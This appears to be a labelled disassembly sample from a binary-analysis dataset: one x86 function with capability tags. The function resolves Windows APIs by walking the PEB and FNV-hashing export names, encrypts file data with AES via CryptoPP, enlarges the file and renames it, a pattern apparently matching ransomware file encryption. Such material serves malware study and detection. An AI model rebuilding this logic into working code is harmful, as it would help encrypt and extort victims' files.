Function at 0x429db0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Move file
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cc60a
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x100
mov eax, dword [0x4fd0b8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x110], edi
mov esi, ecx
mov dword [ebp - 0x100], esi
mov eax, dword [edi + 0x20]
sub eax, 0
je 0x42a3d1
sub eax, 1
je 0x42a03c
sub eax, 1
jne 0x42a776
mov eax, dword [edi + 0x24]
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x38]
push 0x8000
push eax
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x38], 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
push 0x30
push edi
call fcn.0047917e
mov ecx, dword [esi + 0x48]
add esp, 8
mov eax, dword [esi + 0x4c]
add ecx, 0x300
mov dword [ebp - 0x60], ecx
adc eax, 0
push 0x14
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x60]
push 8
push eax
lea eax, [ebp - 0xec]
push eax
push dword [esi]
call dword [sym.imp.NTDLL.dll_NtSetInformationFile]
mov ecx, 0x20
lea eax, [esi + 4]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x429e90
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x2c]
add esi, 0x54
call fcn.00429a30
cmp dword [esi + 0x14], 8
mov edx, esi
jb 0x429eb8
mov edx, dword [esi]
mov edi, dword [esi + 0x10]
test edi, edi
je 0x429ee7
lea eax, [edi - 1]
or ecx, 0xffffffff
cmp eax, ecx
cmovb ecx, eax
cmp word [edx + ecx*2], 0x5c
lea eax, [edx + ecx*2]
je 0x429ee1
cmp eax, edx
je 0x429ee7
sub eax, 2
cmp word [eax], 0x5c
jne 0x429ed4
sub eax, edx
sar eax, 1
jmp 0x429eea
or eax, 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x44], 0
inc eax
mov word [ebp - 0x54], cx
cmp edi, eax
mov dword [ebp - 0x40], 7
mov ecx, esi
cmovb eax, edi
cmp dword [esi + 0x14], 8
jb 0x429f0e
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x54]
call fcn.0042da40
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0xa
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x429f25
sub ecx, edx
lea eax, [ebp - 0x2c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.0042dba0
cmp dword [0x501c48], 8
lea ecx, [ebp - 0x54]
push dword [0x501c44]
mov eax, 0x501c34
cmovae eax, dword [0x501c34]
push eax
call fcn.0042dba0
cmp dword [ebp - 0x40], 8
lea eax, [ebp - 0x54]
mov ecx, esi
cmovae eax, dword [ebp - 0x54]
cmp dword [esi + 0x14], 8
jb 0x429f78
mov ecx, dword [esi]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x40]
cmp edx, 8
jb 0x429fc1
mov ecx, dword [ebp - 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x429fb7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a794
push edx
push ecx
call fcn.0047917e
add esp, 8
mov ecx, dword [esi + 0x14]
xor eax, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 7
mov word [ebp - 0x54], ax
cmp ecx, 8
jb 0x42a00e
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x42a004
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42a794
mov eax, edx
push ecx
push eax
call fcn.0047917e
add esp, 8
mov ecx, dword [ebp - 0x100]
xor eax, eax
push 0x70
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
push ecx
mov word [esi], ax
call fcn.0047917e
add esp, 8
call fcn.00427650
jmp 0x42a776
mov eax, dword [edi + 0x24]
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0x30]
push 0x8000
push eax
lea eax, [ebp - 0xf4]
mov dword [ebp - 0x30], 0
push eax
call esi
push eax
call dword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
mov edx, dword [ebp - 0x100]
or ecx, 0xffffffff
lea eax, [edx + 0x3c]
lock xadd dword [eax], ecx
lea eax, [ecx - 1]
test eax, eax
jne 0x42a776
push dword [edx + 0x38]
call fcn.0047920a
add esp, 4
push 0x30
call fcn.0047914e
mov ecx, dword [ebp - 0x100]
mov edi, eax
xor edx, edx
mov dword [ebp - 0x10c], edi
mov eax, 0x300
add esp, 4
mov ecx, dword [ecx + 0x50]
div ecx
test edx, edx
jne 0x42a0c0
mov ecx, 0x300
jmp 0x42a0c8
sub ecx, edx
add ecx, 0x300
mov dword [edi + 0x28], ecx
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x100]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [ebp - 0xf0], 0
mov eax, dword [ecx + 0x48]
mov dword [edi + 8], eax
mov eax, dword [ecx + 0x4c]
mov dword [edi + 0xc], eax
mov eax, dword [edi + 0x28]
mov dword [edi + 0x20], 2
mov edi, dword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
mov dword [ebp - 0x34], eax
nop word [eax + eax]
push 4
push 0x3000
lea eax, [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 0xf0]
push eax
call esi
push eax
call edi
test eax, eax
jne 0x42a110
mov eax, dword [ebp - 0x10c]
mov ecx, 0x1f
mov edi, dword [ebp - 0xf0]
mov esi, 0x508828
mov dword [eax + 0x24], edi
add edi, 0x284
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x100]
cmp dword [edi + 0x68], 8
lea eax, [edi + 0x54]
jb 0x42a15f
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edx, eax
lea esi, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x42a170
sub eax, esi
mov esi, dword [ebp - 0xf0]
sar eax, 1
add eax, eax
push eax
push edx
lea eax, [esi + 0x3c]
push eax
call fcn.00491a30
mov eax, dword [edi + 0x40]
lea edx, [esi + 0x248]
mov dword [esi + 0x30], eax
add esp, 0xc
mov eax, dword [edi + 0x44]
mov ecx, esi
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x50]
mov dword [esi + 0x38], eax
movups xmm0, xmmword [edi + 4]
push 0x5088a4
push 0x248
movups xmmword [esi], xmm0
movups xmm0, xmmword [edi + 0x14]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [edi + 0x24]
movups xmmword [esi + 0x20], xmm0
call fcn.00445dd0
mov ecx, dword [0x509144]
add esp, 8
test ecx, ecx
jne 0x42a399
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0x104], 0x989899b0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
mov dword [ebp - 0x108], eax
movzx ecx, cx
test esi, esi
je 0x42a272
shr ecx, 1
xor esi, esi
mov dword [ebp - 0xf0], 0xd6e12543
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42a260
mov eax, dword [ebp - 0xf0]
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, eax
inc esi
imul eax, ecx, 0x1000193
cmp esi, edi
jne 0x42a241
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x108]
mov esi, dword [ebp - 0xfc]
cmp dword [ebp - 0xf0], esi
jne 0x42a2f0
mov esi, dword [eax + 0x18]
mov dword [ebp - 0xf8], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x38], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x42a2ea
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42a2ea
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0xf4], ecx
dec edi
mov esi, 0xd6e12543
mov cl, byte [edx]
inc edx
test cl, cl
je 0x42a2d5
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x42a2c0
cmp esi, dword [ebp - 0x104]
je 0x42a2f7
mov ecx, dword [ebp - 0xf4]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42a2a2
mov esi, dword [ebp - 0xfc]
mov eax, dword [eax]
jmp 0x42a204
mov esi, dword [ebp - 0x30]
mov edx, dword [ebp - 0xf8]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edx]
add ecx, edx
cmp ecx, esi
jbe 0x42a38d
mov eax, dword [ebp - 0x38]
add eax, esi
cmp ecx, eax
jae 0x42a38d
mov al, byte [ecx]
mov esi, 0xd6e12543
mov dword [ebp - 0xfc], esi
mov edx, esi
mov dword [ebp - 0x104], edx
cmp al, 0x2e
je 0x42a358
nop dword [eax + eax]
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42a340
mov dword [ebp - 0xfc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42a37a
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42a360
mov dword [ebp - 0x104], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42a204
mov edi, dword [ebp - 0x100]
mov dword [0x509144], ecx
mov eax, dword [ebp - 0x10c]
lea edx, [ebp - 0x3c]
push eax
push edx
push dword [eax + 0x28]
push dword [eax + 0x24]
push dword [edi]
call ecx
test eax, eax
jne 0x42a776
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x3e5
je 0x42a776
call fcn.00427650
jmp 0x42a776
push 0x7c
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.00492530
add esp, 0xc
lea eax, [ebp - 0x94]
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x3c], eax
push 1
call fcn.00452650
push 0
push 0
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x80], 0x3fffffff
mov dword [ebp - 0x7c], 0
call fcn.0042ec30
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x94], vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov dword [ebp - 0x90], vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
push 1
lea ecx, [ebp - 0xdc]
mov dword [ebp - 4], 2
call fcn.00452650
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd0], 0xffffffff
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xbc], 0xffffffff
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
push 1
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 6
call fcn.00452650
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x94]
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0xe0], 0x4ed4dc
mov dword [ebp - 0xdc], 0x4ed43c
mov dword [ebp - 0xc4], 0x4ed548
mov dword [ebp - 0xb0], 0x4ed600
mov dword [ebp - 0xd8], eax
call fcn.00456cb0
mov dword [ebp - 4], 9
lea ecx, [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax + 0x20]
call eax
push eax
lea eax, [esi + 0x24]
push eax
push 0x20
lea eax, [esi + 4]
push eax
lea ecx, [ebp - 0xe0]
call fcn.004548f0
mov esi, dword [esi + 0x34]
mov eax, dword [edi + 0x1c]
mul esi
mov ecx, eax
mov eax, dword [edi + 0x18]
mul esi
add ecx, edx
push ecx
push eax
lea ecx, [ebp - 0xdc]
call fcn.00456810
mov ecx, dword [ebp - 0x100]
mov eax, dword [edi + 0x24]
push dword [ecx + 0x34]
lea ecx, [ebp - 0xdc]
push eax
push eax
call fcn.004562d0
mov dword [edi + 0x20], 1
mov ecx, dword [0x509148]
test ecx, ecx
jne 0x42a73d
mov eax, dword fs:[0x30]
xor esi, esi
mov dword [ebp - 0xfc], esi
mov dword [ebp - 0x108], 0xff124a2e
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x2c]
mov edx, dword [eax + 0x30]
add ecx, 0xfffffff8
mov dword [ebp - 0x10c], eax
movzx ecx, cx
test esi, esi
je 0x42a61d
shr ecx, 1
xor esi, esi
mov dword [ebp - 0x104], 0x9c42eb71
lea ecx, [edx + ecx*2]
mov edi, ecx
sub edi, edx
inc edi
shr edi, 1
cmp edx, ecx
cmova edi, esi
test edi, edi
je 0x42a60f
mov eax, dword [ebp - 0x104]
nop
movsx ecx, byte [edx]
lea edx, [edx + 2]
xor ecx, eax
inc esi
imul eax, ecx, 0x1000193
cmp esi, edi
jne 0x42a5f0
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x10c]
mov esi, dword [ebp - 0xfc]
cmp dword [ebp - 0x104], esi
jne 0x42a696
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x30], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0xf8], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0xf4], ecx
cmp ecx, esi
je 0x42a690
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x42a690
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
sub ecx, 4
dec edi
mov dword [ebp - 0x34], ecx
mov ecx, dword [ecx]
add ecx, esi
mov esi, 0x9c42eb71
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x42a67c
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x42a667
mov edx, dword [ebp - 0x108]
cmp esi, edx
je 0x42a69d
mov ecx, dword [ebp - 0x34]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x42a650
mov esi, dword [ebp - 0xfc]
mov eax, dword [eax]
jmp 0x42a5b1
mov esi, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x30]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edx]
add ecx, edx
cmp ecx, esi
jbe 0x42a731
mov eax, dword [ebp - 0xf8]
add eax, esi
cmp ecx, eax
jae 0x42a731
mov al, byte [ecx]
mov esi, 0x9c42eb71
mov dword [ebp - 0xfc], esi
mov edx, esi
mov dword [ebp - 0x108], edx
cmp al, 0x2e
je 0x42a6fc
movsx eax, al
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [ecx]
cmp al, 0x2e
jne 0x42a6e4
mov dword [ebp - 0xfc], esi
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x42a71e
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
test al, al
jne 0x42a704
mov dword [ebp - 0x108], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
jmp 0x42a5b1
mov edi, dword [ebp - 0x110]
mov dword [0x509148], ecx
push edi
lea eax, [ebp - 0xe4]
push eax
mov eax, dword [ebp - 0x100]
push dword [eax + 0x34]
push dword [edi + 0x24]
push dword [eax]
call ecx
test eax, eax
jne 0x42a76b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x3e5
je 0x42a76b
call fcn.00427650
lea ecx, [ebp - 0xe0]
call fcn.0042a7a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047913d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0049a999
int3